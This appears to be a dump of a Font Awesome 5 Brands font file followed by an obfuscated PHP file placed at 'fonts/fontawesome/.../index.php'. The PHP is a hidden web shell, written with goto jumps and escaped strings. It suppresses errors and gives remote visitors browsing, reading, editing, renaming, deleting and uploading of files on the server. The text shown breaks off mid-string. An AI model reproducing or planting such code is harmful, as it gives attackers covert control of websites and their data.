&$(%%  )$l*'  +. +   ~  -*. Y $)  '5%254'.'.#"#"&#"7#".54732654&VRB   *6I}7+54&"R;`;Rww()+3+=qffq=TwwT## %%}bkw7&'367#".#.#"#.'&676&'&32>36#"&'47>'&'&'&767>6&'0#"72##".5463224"[& "0 74  1 . %&66 *&    $$3  J$D33?I<.$ &    Y  <      / E& -   0 ($#>04"/     )1>J2"&4$>.2654.#"7&47'>.767''7>?&'&'&6ΑΑ3  % +''+  %%.R+/2.%%2/+RΑ?      2(^(2+  E$4//)e4$)0|';FSk753"&=36'>.5!5&>'>'#7>54.46&'56'4.g!#!_J[ !,*f'\TY%1,*"'- $/!!  O; #7${gh (,   +!("'"3#E_      %`5H%'&5>.#&'4>76;2723$#>7%!!$7>&'.#.'&/ %:'Y44%f" !DY QH5  ,]#  QY%'&>?&/'&7'.67&7.76767>30767"12676326"&462.#6'676&'&&'&"&"7327676767>$0   /         \ΑB    %  /" g    5!     '   ΑΑ / -  "1     1K7676'&>'&'.#"767&'&63270#"'#"&767>32% #  U    j /&'., ))"Bd ;179971; j$&(K.%-$$x 2J  %;38,);".C%I2P>>P2 %$EU ?GOW%'"'&'&''&7'&'&767&'"6767&667667>'&'7&'7'&'676'&'47.#267&'&&'.67&'672>1#."6&'&2&27& {%' 44# &W%8 !4)+ ! l!% /  1$Dc;8   4A0!" "DA '.  $ $H +$& %+H/&;2,  &.: >D $1* j +i  5)''   O_JO ::+'M.&   3'   )B%+532'#532"7#!"&5463!24'565<.+:62>76$  QQ2KK ,,,*,n1% .  5Q  DH  ,,*,,9 (  +9%"/&?622?62'"/&?622?62%&?62"'///CaaCCbbCC[[[[#+2+53!#54632#532#14#4&#++%@=X+?,a+pP+*@@%W>->aPpx#*"#7&62326514.'0.'&&'&'&'467:62>7>5454>2#+"&772'.y  mO "       6    A    (H (<o 1   +. (    6wA )Hy632#"&5"&5#".5"&5#"&=4632327277 '.67672"3>57:>4&'."&".''"15>7H iO1))1#C $  ;<  $ C   #NN#     , G,  8    8} G[M {f") % %  )"  /) Eh 0Lko7#6236#"'&54626'&=4%''.'.67&>3263264'&562506350'&#"'&1327"11130>32&176=4.74+";257&#"32765'4##"53250<.254'&5432;'06150'&#"#"'41"374+47632572'&#";"#"01376767325&#"32767&54+";2=476256750/#"432125656#&327617&#"132765'4##"532505<.2# e@ &6 #)-("#:  8":"/ #E8"     $  8  %"    P       6*   / 6 %$  BT !#19:>2 #  #?D  =    " O2 2   : 4 6   8 5'( ` :7#"&46;2+";2+"&46;26&>732>=4&+64'32#r);;)r);;) HA  v!.$;R;"(;R;"x / x ./!%2"&4%>'4&*0.'&74676&676/&76#".76&"767>74>5>56&'>36ΑΑ~      1        '!     Α    *       !144  '7'$   #  &EKQd%#"&'*'#"#.7&'&632>7>32>76.#"#623>32&46646&67>76"& >> ?%  BY0N|t&5P,@n  "<2 H [ $#.( 3@r-*1 2-I'` ).S>%M; * -  !! !! )   (%0V'&6727632#"'"'.767".'&63:%&5463237632+"'.5463033267*P_  _PT  -*vO QM n&'   (!I     H!n    *&   +%"/&4?276&'576&'6&'762  2   / /23(     3 {$ % z.. 24) 1=AE7+5327!4.'.5432;4&#"#"5#32>74&+3532>7#7#3@    " ~4!100*@    D/ NV6# k%1 , Gm! 4 :Q  F :/ J 4 XL . * ] :u * Copyright (c) Font AwesomeCopyright (c) Font AwesomeFont Awesome 5 Brands RegularFont Awesome 5 Brands RegularRegularRegularFont Awesome 5 Brands Regular-5.9.0Font Awesome 5 Brands Regular-5.9.0Font Awesome 5 Brands RegularFont Awesome 5 Brands Regular329.984 (Font Awesome version: 5.9.0)329.984 (Font Awesome version: 5.9.0)FontAwesome5Brands-RegularFontAwesome5Brands-RegularThe web's most popular icon set and toolkit.The web's most popular icon set and toolkit.https://fontawesome.comhttps://fontawesome.comFont Awesome 5 BrandsFont Awesome 5 BrandsRegularRegularFont Awesome 5 Brands RegularFont Awesome 5 Brands RegularFont Awesome 5 BrandsFont Awesome 5 BrandsRegularRegular      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~twitter-squarefacebook-squarelinkedin github-squaretwitterfacebookgithub pinterestpinterest-squaregoogle-plus-square google-plus-g linkedin-in github-altmaxcdnhtml5css3btcyoutubexing xing-squaredropboxstack-overflow instagramflickradn bitbuckettumblr tumblr-squarewindowsandroidlinuxdribbbleskype foursquaretrellogratipayvkweiborenren pagelinesstack-exchange vimeo-squareslack wordpressopenidyahoogooglereddit reddit-squarestumbleupon-circle stumbleupon deliciousdigg pied-piper-pppied-piper-altdrupaljoomlabehancebehance-squaresteam steam-squarespotify deviantart soundcloudvinecodepenjsfiddlerebelempire git-squaregit hacker-news tencent-weiboqqweixin slidesharetwitchyelppaypal google-walletcc-visa cc-mastercard cc-discovercc-amex cc-paypal cc-stripelastfm lastfm-squareioxhost angellist buyselladsconnectdevelopdashcubeforumbeeleanpubsellsy shirtsinbulk simplybuiltskyatlas pinterest-pwhatsappviacoinmedium y-combinator optin-monsteropencart expeditedsslcc-jcbcc-diners-clubcreative-commonsgg gg-circle tripadvisor odnoklassnikiodnoklassniki-square get-pocket wikipedia-wsafarichromefirefoxoperainternet-explorercontao500pxamazonhouzzvimeo-v black-tie fonticons reddit-alienedgecodiepiemodx fort-awesomeusb product-huntmixcloudscribd bluetooth bluetooth-bgitlab wpbeginnerwpformsenviraglideglide-gviadeo viadeo-squaresnapchatsnapchat-ghostsnapchat-square pied-piper first-orderyoast themeisle google-plus font-awesomelinodequorafree-code-camptelegrambandcampgravetsyimdbravelrysellcast superpowers wpexplorermeetupfont-awesome-altaccessible-iconaccusoftadversalaffiliatethemealgoliaamilia angrycreative app-store app-store-iosapper asymmetrikaudibleavianexaws bimobjectbitcoinbity blackberryblogger blogger-bburomobelexperte centercode cloudscale cloudsmith cloudversifycpanelcss3-alt cuttlefishd-and-d deploydogdeskpro digital-oceandiscord discoursedochubdocker draft2digitaldribbble-squaredyalog earlybirdserlang facebook-ffacebook-messenger firstdraft fonticons-fifort-awesome-altfreebsd gitkrakengofore goodreads goodreads-g google-drive google-playgripfiregruntgulphacker-news-square hire-a-helperhotjarhubspotitunes itunes-notejenkinsjogetjs js-squarekeycdn kickstarter kickstarter-klaravellinelyftmagentomedappsmedium-mmedrt microsoftmixmizunimoneronapsternode-jsnpmns8 nutritionixpage4palfedpatreon periscope phabricatorphoenix-framework playstationpushedpython red-riverwpressrreplyd resolving rocketchatrockrmsschlix searchengin servicestacksistrix slack-hashspeakap staylinked steam-symbol sticker-mule studiovinarisuppletelegram-planeuberuikit uniregistryuntappdussunnahvaadinvibervimeovnvwhatsapp-squarewhmcswordpress-simplexboxyandexyandex-international apple-pay cc-apple-payflynodeosireact autoprefixersassvuejsangularaviatoemberfont-awesome-flaggitterhoolistravastripestripe-stypo3 amazon-pay cc-amazon-payethereumkorvue elementoryoutube-square flipboardhipsphp quinscapereadmejavapied-piper-hatcreative-commons-bycreative-commons-nccreative-commons-nc-eucreative-commons-nc-jpcreative-commons-ndcreative-commons-pdcreative-commons-pd-altcreative-commons-remixcreative-commons-sacreative-commons-samplingcreative-commons-sampling-pluscreative-commons-sharecreative-commons-zeroebaykeybasemastodon r-project researchgate teamspeakfirst-order-altfulcrumgalactic-republicgalactic-senate jedi-order mandalorian old-republicphoenix-squadronsithtrade-federationwolf-pack-battalionhornbill mailchimpmegaportnimblrrevshopware squarespacethemecoweeblywixello hackerrankkagglemarkdownneoszhihualipay the-red-yetiacquisitions-incorporated critical-roled-and-d-beyonddevfantasy-flight-games penny-arcadewizards-of-the-coast think-peaks reacteuropeadobe artstation atlassiancanadian-maple-leafcentos confluencedhldiasporafedexfedorafigmaintercominvisionjiramendeley raspberry-piredhatsketch sourcetreesuseubuntuupsuspsyarnairbnb battle-net bootstrapbuffer chromecastevernoteitch-io salesforce speaker-decksymfonywazeyammergit-alt stackpath `)l%,PKZxvgvg"fonts/fontawesome/707923/index.phpnu[= 1024)) { goto pgV9y; } goto wr_dZ; AAYQ7: iAyEh: goto eZB8R; Fgina: dgOKJ: goto f_9KV; N774G: goto mfEhq; goto TsZ6P; mrAd1: goto BVUUb; goto YHoAT; BDCP7: $UB06X = $UB06X . "\x4b\102"; goto AreVQ; jLfbo: goto oPRMu; goto HuM3z; qfKom: goto FJt1y; goto gX1oi; bMXTJ: SC3_T: goto kb10u; V8va2: goto DPkYG; goto SJqVw; Vp0aD: goto iAyEh; goto LjUEM; LjUEM: oPRMu: goto qGsZN; f_9KV: T46En: goto MOIlI; X31u3: goto SC3_T; goto ytr06; Tada1: goto dgOKJ; goto Ikk3L; tRFRx: pgV9y: goto eHBg4; YHoAT: BVUUb: goto Pfvtb; kb10u: if (!is_file($SY5oV . "\x2f" . $uuM0D)) { goto qYD61; } goto g9Pn0; PLCcf: DPkYG: goto n3kY6; UmEvD: goto X9X0i; goto C_2xJ; C_2xJ: a1WIK: goto UK1iR; g9Pn0: goto QGM3S; goto dZvGt; pX73k: $UB06X = filesize($SY5oV . "\57" . $uuM0D) / 1024; goto YD4ui; Ikk3L: ij6sI: goto mHdXc; TsZ6P: FJt1y: goto xDdiR; uAHi5: kbQep: goto Ph1p6; Ph1p6: } goto ADXxH; kNqe9: R8s1O: goto d17_o; Vobz_: goto Mt1pV; goto eqfBg; AHbB4: echo "\x3c\142\x72\76\74\x63\145\x6e\164\x65\x72\x3e\74\x66\x6f\162\155\x20\155\145\x74\x68\157\x64\x3d\x22\x50\117\x53\x54\x22\76\xa\116\x65\x77\x20\x4e\x61\155\145\40\72\40\74\151\x6e\160\165\164\x20\156\x61\x6d\x65\x3d\x22\156\145\167\x6e\x61\x6d\x65\42\x20\164\171\160\145\75\42\x74\x65\170\x74\42\40\163\x69\172\x65\x3d\42\x32\60\42\40\x76\141\x6c\165\145\75\42" . $_GET["\156\x61\x6d\141"] . "\42\40\x2f\76\xa\74\x69\156\160\x75\x74\40\164\x79\x70\x65\75\x22\x68\151\144\x64\x65\x6e\42\x20\156\x61\155\x65\x3d\x22\x70\141\164\150\x22\40\166\141\154\165\145\x3d\x22" . $_GET["\144\151\x72"] . "\x22\x3e\12\74\x69\156\x70\165\x74\40\164\x79\x70\x65\75\x22\x68\151\144\144\145\x6e\x22\40\x6e\141\155\x65\x3d\42\x6f\x70\x74\42\x20\166\141\154\x75\x65\x3d\x22\162\x65\156\141\x6d\145\x22\76\xa\74\151\x6e\160\x75\x74\40\164\171\160\x65\x3d\42\x73\x75\x62\155\151\x74\x22\x20\166\141\x6c\165\x65\75\42\107\x6f\42\40\x2f\76\12\x3c\x2f\x66\157\162\155\76\x3c\57\143\x65\x6e\164\x65\x72\x3e"; goto ClaaN; zclo2: if (!rename($_GET["\x72\145\x6e\x61\x6d\145"], $_GET["\x64\x69\162"] . "\57" . $_POST["\156\145\x77\x6e\x61\x6d\x65"])) { goto gpOxD; } goto D1zNA; QvqCe: $d2VoY = $_GET["\144\x69\162"]; goto UR69S; Nufe6: oxo0u: goto Luf_7; fVsU8: if (isset($_POST["\x73\165\x62\x6d\x69\164"])) { goto R3f6H; } goto EW9v4; xqXGI: echo "\74\146\157\156\164\40\x63\x6f\x6c\x6f\162\75\x22\x72\x65\x64\x22\x3e\x47\141\156\x74\151\x20\x4e\x61\155\141\40\107\x61\x67\141\x6c\74\x2f\146\x6f\x6e\164\76\x3c\142\162\x20\57\x3e"; goto fMbm2; CdJq2: goto LY7x8; goto GXrpG; i58Tu: goto oD0ow; goto bPOw6; FOXOv: ybr0m: goto NZsm2; xpyVU: m1f1B: goto RIET2; wFM1i: mBhvt: goto IOxdN; J6v1Q: goto jLKGi; goto BJ0a9; m3wul: FfCGe: goto f7rRc; LW9_1: goto EW9a8; goto cbPco; DYw0V: GN7Am: goto fVsU8; FecH0: z3VfB: goto sumFh; IUMR0: goto cGyTX; goto p1V6C; RCCDm: goto m1f1B; goto fVgIQ; NdEim: BH2O5: goto xwTtE; avlCX: error_reporting(0); goto kcPS1; y1NMV: $SY5oV = str_replace("\134", "\x2f", $SY5oV); goto suT0J; cK8Qd: L4z3m: goto yyNtn; WfYnF: if (!fwrite($RLeUe, $_POST["\x65\144\x69\x74"])) { goto mxuqM; } goto XDVfp; lObGA: rphQA: goto xqXGI; GfHC5: NcjC7: goto p4ceq; AGcgH: echo "\x3c\163\x63\162\x69\160\x74\76\141\x6c\x65\162\164\50\47\144\x69\x68\141\160\165\x73\x27\x29\x3b\x77\x69\x6e\x64\157\x77\x2e\154\x6f\x63\141\x74\151\x6f\x6e\75\x27\x3f\x64\151\162\x3d" . $SY5oV . "\47\x3b\x3c\57\163\143\162\151\x70\x74\x3e"; goto hdmAQ; w_FqQ: if (unlink($_GET["\x64\x65\154\145\164\x65"])) { goto tPqXo; } goto hpB5m; CFxCU: DOvSG: goto M4lAC; RDuaV: if (isset($_GET["\x6f\x70\x65\156"])) { goto KvKxa; } goto BACVW; UdopV: aG_sV: goto AHbB4; qUQN0: if (isset($_GET["\x64\x65\x6c\145\x74\145"])) { goto qHZVi; } goto i58Tu; ZPAtP: echo "\12\x9\x9\11\x3c\163\x63\x72\151\160\164\x3e\141\x6c\x65\x72\x74\x28\x27\147\141\147\x61\154\47\51\x3b\x3c\x2f\163\x63\162\151\160\164\x3e\x9\11\x9\11\11\xa\x9\x9\x9"; goto eiMVC; Luf_7: SX1DF: goto UNB8X; Uhr1n: goto SxLc2; goto kNqe9; hsQJy: JMsT1: goto b3_LX; sumFh: goto ZQBlO; goto vJuCF; V2S2I: goto VCB9T; goto jdFUM; qCSHJ: goto mJDQz; goto Ycquf; GXrpG: KalBB: goto sxutN; Ewi8P: ZhsMa: goto J4dsi; q690m: move_uploaded_file($MVjbB, $SY5oV . "\57" . $bTiU3); goto ZMl7_; fVgIQ: goto PSKzB; goto Ewi8P; MLGL3: fV1OE: goto kDqss; vvRW1: CRwUl: goto rwUz1; heLWv: if (!isset($_GET["\144\x69\162"])) { goto z3VfB; } goto Fz9p5; Q4DWk: zpbAo: goto n5quW; sxutN: lllFW: goto IUMR0; cbPco: kryy7: goto xpyVU; RNknF: goto VJV3t; goto xgP4V; kcPS1: goto zpbAo; goto c6BP_; Syubk: goto L5BVr; goto CsU2D; cLsR4: LY7x8: goto WfYnF; nIy3h: goto mcYtH; goto GfHC5; rI3Nb: foreach ($YrDbl as $PTsyF => $ZOYNU) { goto Q6CD7; zcts3: SKBTc: goto ZWE79; IIIFV: goto v0kXm; goto UcZ6I; VY8_5: KT3Aw: goto MwgoW; pd02P: BHbg7: goto WOHTu; VchO1: goto J8QbP; goto gAWQ9; RwYqJ: echo "\74\x61\40\x68\x72\x65\x66\75\42\x3f\x64\x69\162\x3d"; goto KvSxK; vLWu_: goto WX7jZ; goto LpSht; tvuf6: TkRTe: goto W0Pmg; wK_5D: Plnz1: goto TLR7Q; mOYoO: qC_De: goto QzShh; gAWQ9: nhN32: goto mOYoO; jm_fy: w7nG1: goto ThpC8; TY2TF: goto SKBTc; goto y6pz2; JzJui: J8QbP: goto SP9HV; lS_Rr: goto ByjCh; goto s_maj; WOHTu: goto uPg0E; goto wK_5D; myHhy: uDLIf: goto vLWu_; QzShh: goto GfkyL; goto rGruw; Tg8wc: goto uR_9u; goto jm_fy; ThpC8: if ($ZOYNU == '' && $PTsyF == 0) { goto TkRTe; } goto m4hQk; s_maj: tDLSa: goto J4kPI; khbJn: nsooX: goto nSwyc; amvgE: $apvic = 0; goto i7Wcw; m4hQk: goto z9oHs; goto tvuf6; y6pz2: KlANJ: goto VWBWj; nSwyc: if ($apvic <= $PTsyF) { goto QMpdi; } goto zbFTR; TfQVl: v0kXm: goto RwYqJ; thaEX: H0fvx: goto dzuFx; pSZNW: goto H0fvx; goto gmgeK; kOSP8: eF8cH: goto gphib; SP9HV: echo "{$YrDbl[$apvic]}"; goto OC0y6; LYY_d: $apvic++; goto lS_Rr; ZWE79: goto nhN32; goto YextF; Je2pm: goto Plnz1; goto khbJn; zNBLJ: echo "\42\x3e" . $ZOYNU . "\74\57\141\76\57"; goto lz2BS; VWBWj: goto tDLSa; goto TfQVl; YextF: WX7jZ: goto zNBLJ; OC0y6: goto cscjN; goto dgKpM; lz2BS: goto QyHxU; goto cAqwT; MwgoW: goto nsooX; goto v_5uf; fE_rc: QMpdi: goto VchO1; W0Pmg: goto eF8cH; goto kOSP8; yamzE: QyHxU: goto pd02P; dzuFx: goto BHbg7; goto Je2pm; LpSht: uR_9u: goto zcts3; a3naC: Wneug: goto VY8_5; rGruw: GfkyL: goto LYY_d; p1peg: if ($PTsyF !== $apvic) { goto KlANJ; } goto TY2TF; gphib: echo "\74\x61\x20\x68\x72\145\146\x3d\x22\x2f\x22\x3e\x2f\74\x2f\141\76"; goto pSZNW; uhDfB: goto KT3Aw; goto WLSG4; Q8Ou3: ZD14Y: goto kbkRr; cAqwT: wDVTg: goto amvgE; i7Wcw: goto Wneug; goto a3naC; zbFTR: goto uDLIf; goto fE_rc; gmgeK: ByjCh: goto uhDfB; Q6CD7: goto w7nG1; goto JzJui; J4kPI: echo "\x2f"; goto Tg8wc; dgKpM: cscjN: goto p1peg; v_5uf: uPg0E: goto Q8Ou3; KvSxK: goto wDVTg; goto thaEX; TLR7Q: z9oHs: goto IIIFV; UcZ6I: vqrwl: goto myHhy; WLSG4: goto vqrwl; goto yamzE; kbkRr: } goto RfwAZ; qfbf5: fHMZy: goto SJHPh; wKl93: goto Pg_iU; goto ooHdw; f9TH3: goto p8J8J; goto omCo1; NZsm2: $SY5oV = $_GET["\144\151\x72"]; goto Syubk; I9Ayd: echo "\xa\x9\74\142\x72\x20\57\76\xa\x9\x3c\163\x74\171\154\x65\76\xa\x9\x9\x74\141\142\x6c\x65\x20\x7b\xa\x9\11\11\144\x69\x73\160\154\x61\x79\x3a\40\156\x6f\x6e\145\x3b\12\11\11\x7d\xa\x9\74\57\163\x74\171\154\x65\76\12\11\x3c\164\x65\x78\164\x61\x72\x65\x61\76" . htmlspecialchars(file_get_contents($_GET["\157\160\x65\x6e"])) . "\74\57\x74\x65\x78\164\x61\x72\145\141\x3e\xa\x9"; goto EJXlS; SFdAD: T93AV: goto AGcgH; N3ZqM: echo "\xa\11\x9\11\x9\x9\x3c\163\x63\162\151\160\164\x3e\x61\x6c\x65\162\164\x28\47\144\x69\165\160\x6c\x6f\141\144\41\x21\41\x27\51\x3b\x3c\57\163\143\x72\x69\x70\164\x3e\xa\x9\x9\11\11\x9"; goto KU5TD; Rxdq5: $MVjbB = $_FILES["\165\x70\x6c\157\x61\x64"]["\x74\x6d\160\137\156\141\x6d\145"]; goto LW9_1; p4ceq: if (isset($_POST["\x6e\145\167\x6e\x61\155\x65"])) { goto B1V4d; } goto Vobz_; DqKcR: xEIem: goto c9PFm; fRiMJ: goto ZhsMa; goto pR4fA; xri_y: goto dIm7l; goto fTg3U; b3_LX: goto XG0gs; goto bhqzz; FdTD1: GR6Yo: goto WjdCx; BLVou: $SY5oV = getcwd(); goto O3tVv; HVzl6: PSKzB: goto EJXB4; YIXDO: vO5Eq: goto SIqDu; IOxdN: VI053: goto pYnmn; KU5TD: goto BH2O5; goto M203m; eiMVC: goto f1BRu; goto y_LTe; immb4: AormZ: goto CFxCU; iYmrp: ExgZn: goto Uhr1n; lIeRz: goto xg0hQ; goto DqKcR; RfwAZ: twDYS: goto bH3m5; RWSvL: goto BIpYx; goto kqQ1J; JM_z0: qO8fS: goto SDOCp; UR69S: goto fV1OE; goto zmET3; m_tGY: Ctwc8: goto zclo2; c7UXu: tPqXo: goto mOt7C; D8nXL: goto SX1DF; goto WtOUD; Iw8YA: f4xjp: goto h0SEt; fTg3U: p8J8J: goto RCEhN; omCo1: SxLc2: goto idZnx; EDWcl: goto fHMZy; goto DYw0V; hdmAQ: goto VwOJw; goto osD6s; BJ0a9: Gx1Wm: goto xW76B; QGXi3: jLKGi: goto J3YKE; f7rRc: $RLeUe = fopen($_POST["\x6f\142\x6a\x65\x63\164"], "\167"); goto CdJq2; O3tVv: goto JMsT1; goto FP2CA; D2MYS: goto GR6Yo; goto gCm0M; yjfHj: xR0Rv: goto D8nXL; idZnx: oD0ow: goto tdS4u; Odm0P: echo "\12\x9\74\146\x6f\162\x6d\40\x6d\145\x74\x68\157\144\75\42\160\157\x73\x74\42\x20\x65\156\x63\x74\171\160\145\x3d\x22\155\x75\154\x74\151\x70\141\162\x74\x2f\146\157\162\x6d\x2d\144\x61\164\141\x22\x3e\12\11\x9\74\151\x6e\160\165\x74\40\x74\x79\160\145\x3d\x22\146\151\x6c\x65\42\x20\x6e\141\x6d\x65\75\42\x75\x70\154\x6f\x61\144\42\76\12\11\11\x3c\x69\x6e\x70\x75\164\x20\x74\171\160\x65\75\x22\x73\165\142\155\x69\164\42\40\x6e\x61\155\x65\x3d\42\163\x75\142\155\151\x74\42\40\166\141\x6c\165\145\75\x22\125\160\154\x6f\141\x64\x22\76\xa\x9\11\12\x9\74\x2f\146\157\162\x6d\x3e\xa\xa\40\x20\74\57\x64\151\x76\x3e\12\74\x74\x61\142\x6c\145\76\12\x9\x3c\164\x72\76\xa\x9\11\x3c\164\150\x3e\116\x61\x6d\141\x20\106\x69\154\x65\x20\57\40\x46\157\154\144\145\162\x3c\x2f\x74\x68\76\xa\11\x9\74\x74\x68\x3e\x53\x69\172\x65\74\57\164\x68\76\12\11\x9\74\x74\x68\x3e\101\143\x74\x69\x6f\156\x3c\57\164\x68\76\12\x9\x3c\57\164\x72\x3e\xa\x9"; goto nIy3h; dMZs2: $TsVMp = $_FILES["\165\160\x6c\x6f\141\x64"]["\x73\x69\x7a\145"]; goto V2S2I; aovjx: goto rphQA; goto uMqD7; fKZbe: hgLo4: goto heLWv; ooHdw: K4Xeu: goto YIXDO; qRAw1: gpOxD: goto aovjx; zTkQW: VkwJC: goto y1NMV; qx3Sn: goto aG_sV; goto Nufe6; CME9n: jbFQG: goto avlCX; ADXxH: dak2F: goto xri_y; biH2R: goto hgLo4; goto Iw8YA; n5quW: echo "\x3c\x21\104\117\x43\x54\131\120\105\x20\x68\x74\x6d\x6c\x3e\xa\74\x68\x74\155\154\76\xa\74\150\145\x61\x64\x3e\12\11\74\164\151\164\154\x65\76\x58\101\x4d\x49\116\x49\x55\101\x31\x39\x39\x37\74\57\x74\151\x74\x6c\x65\x3e\xa\11\74\154\x69\156\153\40\x68\x72\145\x66\75\42\x68\x74\x74\x70\163\72\57\x2f\x66\157\156\x74\x73\x2e\x67\157\157\x67\154\x65\x61\x70\x69\163\56\143\157\155\x2f\x63\x73\163\62\77\x66\x61\155\x69\154\171\x3d\x43\157\x75\162\147\x65\x74\x74\145\46\146\141\155\x69\x6c\171\75\103\x75\x70\162\x75\155\72\151\x74\141\154\100\x31\x26\146\141\155\151\154\x79\x3d\122\x6f\x77\x64\151\145\x73\x26\x64\151\x73\160\154\141\171\x3d\163\167\141\160\42\40\x72\x65\154\75\x22\163\x74\x79\154\x65\163\x68\145\145\x74\42\x3e\x20\xa\74\x2f\x68\145\141\144\76\xa\x3c\163\164\x79\x6c\x65\x3e\12\11\x2a\40\173\xa\x9\11\x66\157\156\x74\x2d\x66\141\x6d\x69\154\x79\x3a\x20\143\165\x72\x73\151\x76\145\73\12\11\x9\x63\157\154\157\162\72\40\x23\60\60\x30\x3b\12\x9\x9\x66\x6f\156\164\55\x66\141\155\151\154\x79\x3a\40\x27\x43\x75\x70\x72\x75\x6d\47\x2c\40\163\x61\x6e\163\x2d\163\145\x72\151\x66\73\12\11\x7d\12\xa\x9\142\x6f\x64\171\x20\x7b\12\x9\11\142\141\143\x6b\x67\x72\x6f\165\x6e\x64\x2d\162\145\x70\145\141\x74\x3a\40\156\157\x2d\162\145\x70\x65\141\x74\73\xa\11\x9\142\141\143\153\147\162\157\165\156\x64\x2d\x61\x74\x74\x61\x63\x68\155\145\156\164\x3a\x66\151\170\145\144\x3b\12\x9\x9\142\x61\x63\153\x67\162\x6f\165\156\x64\x2d\163\x69\172\145\72\x20\x31\60\x30\45\x20\61\67\x30\60\160\170\x3b\xa\x9\x7d\12\x9\142\x6f\144\x79\40\x68\61\173\xa\11\11\143\x6f\x6c\x6f\x72\x3a\40\43\101\x35\62\101\62\x41\x3b\12\11\x9\164\x65\170\164\x2d\163\150\x61\x64\x6f\167\72\40\62\160\x78\40\62\160\170\x20\62\x70\x78\40\43\x30\x30\60\x3b\12\11\11\146\157\156\164\x2d\x73\x69\172\145\x3a\40\x35\x30\160\x78\x3b\xa\x9\x7d\xa\x9\x2e\144\151\162\40\173\xa\11\11\164\145\170\x74\55\x61\154\151\147\x6e\x3a\40\143\145\156\x74\x65\x72\73\12\11\11\146\x6f\x6e\x74\x2d\x73\x69\172\145\72\x20\x33\x30\x70\170\73\12\11\175\12\11\56\144\x69\x72\40\x61\x7b\xa\x9\x9\x74\145\170\x74\x2d\x64\145\143\157\x72\141\x74\x69\157\x6e\72\x20\156\157\156\x65\73\12\x9\x9\143\x6f\154\x6f\162\72\40\x23\64\x38\104\61\x43\x43\x3b\12\11\11\x74\x65\170\x74\x2d\163\x68\x61\144\157\x77\72\x20\x31\x70\170\40\x31\x70\170\x20\x31\160\x78\40\x23\x30\x30\60\73\xa\xa\11\x7d\12\11\56\x64\x69\x72\x20\x61\72\150\157\166\145\x72\x7b\12\x9\11\x74\145\170\x74\55\144\145\143\x6f\x72\x61\x74\151\x6f\x6e\x3a\40\156\x6f\x6e\x65\73\12\x9\11\x63\x6f\x6c\157\x72\72\x20\162\x65\x64\73\12\11\175\xa\11\164\x61\142\x6c\x65\x20\x7b\12\11\11\x6d\141\162\147\x69\x6e\72\x20\61\x32\160\170\x20\x61\165\164\157\x3b\12\11\x9\150\x65\151\147\x68\164\72\40\x31\x30\60\x25\x3b\xa\x9\11\x62\x6f\162\144\x65\162\x2d\143\157\x6c\x6c\141\x70\x73\145\72\40\x63\157\x6c\154\x61\160\x73\x65\x3b\12\11\x9\146\x6f\156\164\55\x73\x69\172\145\x3a\x20\x33\x30\x70\x78\73\12\11\x7d\12\x9\x74\141\142\x6c\x65\x2c\x74\150\40\173\12\x9\11\142\157\x72\144\145\162\55\164\x6f\x70\x3a\x31\x70\170\x20\x73\157\x6c\151\144\40\x23\x30\x30\60\x3b\xa\x9\11\x62\157\x72\x64\145\x72\x2d\162\151\x67\x68\x74\72\x33\x70\170\40\x73\157\154\151\144\40\x23\60\x30\60\x3b\12\x9\x9\x62\x6f\x72\x64\x65\162\55\142\157\x74\164\157\155\72\40\x33\x70\x78\x20\x73\x6f\x6c\x69\144\x20\43\60\x30\x30\73\12\11\x9\142\157\162\144\145\x72\55\x6c\145\x66\x74\72\61\160\170\40\163\157\x6c\151\x64\40\x23\x30\x30\x30\73\12\11\11\x62\x6f\x78\x2d\x73\151\172\151\x6e\x67\x3a\x20\142\157\x72\144\145\x72\55\142\157\x78\73\xa\x9\x9\x70\x61\144\144\151\x6e\147\72\40\62\x70\170\x20\x32\x70\170\x3b\xa\11\x9\x63\157\x6c\x6f\x72\x3a\40\43\106\x30\105\x36\70\103\x3b\12\11\11\164\145\x78\x74\55\x73\x68\141\x64\x6f\x77\72\40\61\x70\x78\x20\61\x70\170\x20\x31\160\x78\x20\43\60\x30\60\73\12\x9\175\xa\11\x74\x61\142\x6c\145\x2c\x74\x64\40\x7b\12\x9\11\142\157\162\144\145\162\x2d\164\157\160\x3a\61\160\x78\40\163\x6f\154\x69\x64\x20\43\60\x30\x30\73\12\x9\x9\142\157\162\x64\x65\x72\x2d\162\x69\147\x68\x74\72\x33\x70\170\x20\163\x6f\154\151\144\x20\x23\60\60\60\x3b\xa\11\11\x62\x6f\162\144\x65\162\x2d\142\157\x74\164\x6f\x6d\72\40\x2e\x35\160\x78\40\x73\x6f\154\x69\x64\x20\43\60\60\x30\73\xa\x9\x9\x62\157\x72\x64\145\x72\55\x6c\145\x66\164\x3a\x31\160\170\x20\x73\157\x6c\151\144\40\43\60\60\60\73\12\11\x9\142\x6f\170\x2d\163\151\172\151\156\x67\x3a\40\142\x6f\162\x64\x65\x72\x2d\x62\157\x78\x3b\12\11\x9\x70\x61\144\144\151\156\x67\x3a\x20\x38\160\x78\40\x38\160\x78\73\12\11\x9\143\157\154\157\162\72\40\x72\145\144\x3b\xa\11\x7d\xa\11\x74\141\x62\x6c\x65\54\x74\144\40\x61\40\x7b\12\x9\x9\164\x65\170\164\55\x64\x65\143\157\162\x61\164\x69\157\x6e\x3a\40\156\x6f\156\145\x3b\12\x9\x9\x63\x6f\154\157\x72\x3a\43\x38\x41\x32\102\x45\62\73\xa\11\x9\x74\x65\170\164\55\x73\150\x61\x64\157\167\72\x20\x31\160\x78\x20\61\160\x78\40\x31\160\x78\40\x23\60\60\60\x3b\12\x9\x7d\12\11\164\141\x62\x6c\145\54\164\144\40\x61\72\x68\x6f\166\145\x72\40\173\xa\x9\11\x74\145\x78\x74\x2d\144\x65\x63\x6f\x72\x61\x74\151\157\x6e\72\x20\x6e\157\156\145\73\xa\x9\11\x63\157\154\157\162\72\x20\162\145\144\73\12\11\x7d\xa\x9\x2e\x62\165\164\x74\157\x6e\x31\40\173\xa\11\11\167\151\144\x74\x68\x3a\x20\x37\x30\x70\170\73\12\x9\11\x68\145\151\147\x68\x74\72\x20\x33\60\x70\170\73\12\11\11\142\x61\143\153\x67\x72\157\165\156\x64\55\143\x6f\154\x6f\x72\72\x20\43\71\71\x39\x3b\xa\11\x9\x6d\x61\x72\x67\x69\156\x3a\x20\61\60\x70\x78\40\63\x70\170\x3b\xa\11\11\160\x61\x64\